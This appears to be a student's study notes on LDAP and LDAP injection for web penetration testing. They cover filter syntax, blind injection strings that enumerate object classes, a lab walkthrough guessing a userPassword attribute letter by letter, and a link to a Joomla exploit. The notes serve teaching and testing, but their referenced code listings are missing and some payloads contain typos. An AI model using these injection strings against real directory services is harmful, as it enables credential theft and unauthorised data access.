Attacking LDAP
- What is LDAP
- LDAP Syntax
- Abusing LDAP
Objectives:
- What is LDAP and How its used in web applications
- Common LDAP vulnerabilities and methods of exploiting them
Introduction
LDAP stands For Lightweight Directory Access Protocol. It is a protocol used to modify and query directory services over TCP/IP
- Directory services is a database-like virtual storage that holds data in specific hierarchical structure. LDAP structure is based on a tree of directory of entries
LDAP is object oriented, thus every entry in an LDAP directory services is an instance of an object and must correspond to the rules fixed For the attributes of the object.
- LDAP can not only query objects from a directory database, it can also be used For management and authentication.
- Note that LDAP is just a protocol to access Directory service, not a storage mechanism itself.
LDAP is used to communicate with Directory Databasess, but as a protocol it does not provide any storage capabilities.
- Sample databases that use directory structure is Microsoft Active Directory (Where LDAP is often used in authentication process) or the less known OpenLDAP
LDIF Format
Objects in directory databasese accesses via LDAP are stored in LDIF which stands For LDAP Data Interchange Format. LDIF defines directory content as a set of records, one recor For each object (or entry). It also represents update requests, such as Add, Modify, Delete, and Renamem as a set of records, one record For each update request.
- A directory database can support LDIF by defining its assumptions in a LDIF file. It can be a plaintext file simply containing directory data representation as well as LDAP commands. They are also used to read, write, and update data in a directory.
Lines 1-3:
We are defining the top-level domain **org**
Lines 5-8:
We are defining the subdomain **samplecompany**,for example **samplecompany.org**
Lines 10-16:
We define two organization units (OU): it and marketing
Lines 18-26:
We then add objects to the domain **samplecompany.org** and assign attributes with values
# for example, *sn* stands for **surname**, “cn” stands for canonical name (or first name), while *mail* is a placeholder for an email address
Each directory services database might have different default attributes
For example, in OpenLDAP implementations you can a find userPassword attribute * (which can be interesting from a pentester standpoint) while there is no such attribute in Active Directory.
LDAP Syntax
Structure For querying the back-end database:
= # equal to
| # logical or
! # logical not
& # logical and
* # wildcard - stands For any string or character
Examples:
ch=John - will fetch personal entries where canonical name is "john"
ch=J* - will fetch personal entries where canonical name starts with "j" as a wildcard is placed in the query
Also can be concatenated:
(|(sn=a*)(cn=b*))
# the first 'OR' operator is used in order to indicate that we either look For all records which surname
# starts with "a" OR canonical name starts with "b"
LDAP Implementations
The LDAP as a protocol can be a completely independent implementation from they uderlying database
With that said, we can, For example, configure a web app to server as a front-end to an Active Directory database
Its possible to use AD (or another directory-based database) with LDAP in order to authenticate web application users.
- This is a convenient method since some roles or user attributes will be shared with domain users, which can be then used For authorization purposes within a web application
This way, a web app can rely on PDAP and the backed directory role atributes when authorizing users to access certain resources
- Of course, LDAP can be encountered as a database holding different information, which can include employee data or user account attributes; consider a web interface that can be used to browse employee structure in the company
In such as scenario, the web app might take the users input and incorporate it into the LDAP query in order to retrieve database results and present it to the application user.
Abusing LDAP
LDAP over TCP
You can often find LDAP services during the scaning of network infrastructure on default ports:
389 - For unencrypted connections
636 - For LDAP SSL
In order to connect to standalone LDAP services via pure TCP protocol, you can use tool named JXplorer. It can be downloaded in various formats from its homepage and does not require installation. It can also be download as a standalone jar file, which can be run using command:
java -jar JXplorer.jar
http://jxplorer.org/
Since we are focused on web-based implementations, we will leave the JQXplorer For our experiments.
As previously mentioned, LDAP can be integrated with a web application, which can take user input and implement it into an LDAP query. If there is no sanitization of user input, several things can go wrong.
LDAP Vulnerabilities
What can happen without proper user sanitization in web-based LDAP implementations depends heavily on the purpose and content of the LDAP.
- The basic and most obvious vulns can be LDAP injection. If they query is not sanitized enough, an attacker can place a wildcard instead of a legitimate object, pulling all the objects instead of just one.
Depending on the app architecture, it might or might not be a security flaw.
- If the user was not meant to see the object he made accessible using a wildcard, then the LDAP injection results in sensitive information retrieval.
Pulling an enourmous amount of data at once could also lead to a Denial of Service condition; If the back-end database is large enough, there is a high likelihood that the front-end was designed in order to filter query results in order not to overload the database engine.
In that case, multiple wildcard queries might render the database unavailable effectively disallowing access to the application service.
A critical vuln from 2017 - Joomla-based websites when LDAP authentication plugin was used:
https://blog.ripstech.com/2017/joomla-takeover-in-20-seconds-with-ldap-injection-cve-2017-14596/
An available exploit can be found on the resource below:
http://www.spy-soft.net/wp-content/uploads/Joomla-LDAP-Injection.txt
- Suppose that an attacker can infer from the server responses that the code injected into the LDAP query generates true (valid response) ot false (error)
In such a case, its still possible to exploit a Blind LDAP injection.
LDAP Injection
Suppose that a web app allows us to list all available printers from a LDAP directory. Error messages are not returned. The application utilizes the following search filter:
(&(objectclass=printer)(type=Canon*))
As a result, if any Canon printers are available, icons of these printers are shown to the client. Otherwise, no icon is present. This is an exemplary true/false situation.
Blind LDAP Injection
If we inject string “)(objectClass=))(&(objectClass=void”, then the web app will issue the following query:
(&(objectClass=*)(objectClass=*))(&objectClass=void)(type=Canon*))
In that casem only the first LDAP query will be processed resulting in (&(objectClass=)(objectClass=)) being extracted from the back-end.
As a result, the printer icon will be shown to the client. As this query always returns results due to objectClass being set to a wildcard. We can construct further true/false statements in the following way:
(&(objectClass=*)(objectClass=users))(&objectClass=foo)(type=Canon*))
(&(objectClass=*)(objectClass=resources))(&objectClass=foo)(type=Canon*))
- Using such queries, its possible to enumerate possible object classes based on true/false conditions (printer icon should be shown or not)
Similar logic can be used in case of OR blind LDAP injection. Consider the following query with injected part in red:
(|(objectClass=void)(objectClass=void))(&objectClass=void)(type=Canon*))
Such a query returns no object, so the printer icon should not be shown to the user
In order to gather information, a similar technique can be applied:
(|(objectClass=void)(objectClass=users))(&objectClass=void)(type=Canon*))
(|(objectClass=void)(objectClass=resources))(&objectClass=void)(type=Canon*))
This will allow us to enumerate the directory structure
LDAP Python implementation
Consider the following code that can be responsible For implementing LDAP Server logic
Implementing LDAP Server
Here we are importing some modules:
A LDIF file is defined as a variable named LDIF
- The directory structure is defined here
The main class of the LDAPserver.py is defined:
Here the main function is defined.
The LDAP Server will listen for incoming connections on port 8080 of the localhost or a command-line specified port.
python ldapserver.py to start the server:
Make sure that port 8080 is available, as the server will not throw an exception in such a case
Implementing LDAP Client
The file will be named LDAPinfo.java
- Here we import some packages that will be used in the software
The comments of the LDAPinfo class contain explanation of the functionalities
The mentioned source code can be compiled with:
javac -d classes LDAPinfo.java
And then it can be run with:
java -cp classes LDAPinfo bob
Blind LDAP Injection Example
The client we have compiled is vulnerable to Blind LDAP injection. Lets try to use it in a lifitimate way first
java -cp classes LDAPinfo bob # found
java -cp classes LDAPinfo notbob # not found
Despite the app prints just the telephone number, it can be helpful to extract more data. Take a look at the example:
java -cp classes LDAPinfo "bob)(userPassword=a*" # nothing found
Lets enumerate more letters:
java -cp classes LDAPinfo "bob)(userPassword=b*" # keep going
When encountering the letter ‘s’, we can see that the telephone number is shown
java -cp classes LDAPinfo "bob)(userPassword=s*" # found
# it means that the first letter of the password is "s"
We can go further until find the whole password
java -cp classes LDAPinfo "bob)(userPassword=secret"
Such an exploitation scenario could be perfect fit For sensitive information extraction Although we were using a command-line LDAP frontend keep in mind that web app would work with LDAP in the same way
Labs
There is 3 boring labs
- LDAP Injection, HTML Adapter to Root and Insecure RMI
Didn’t take good notes on that, so its not really worth it. But if anyone want, lemme know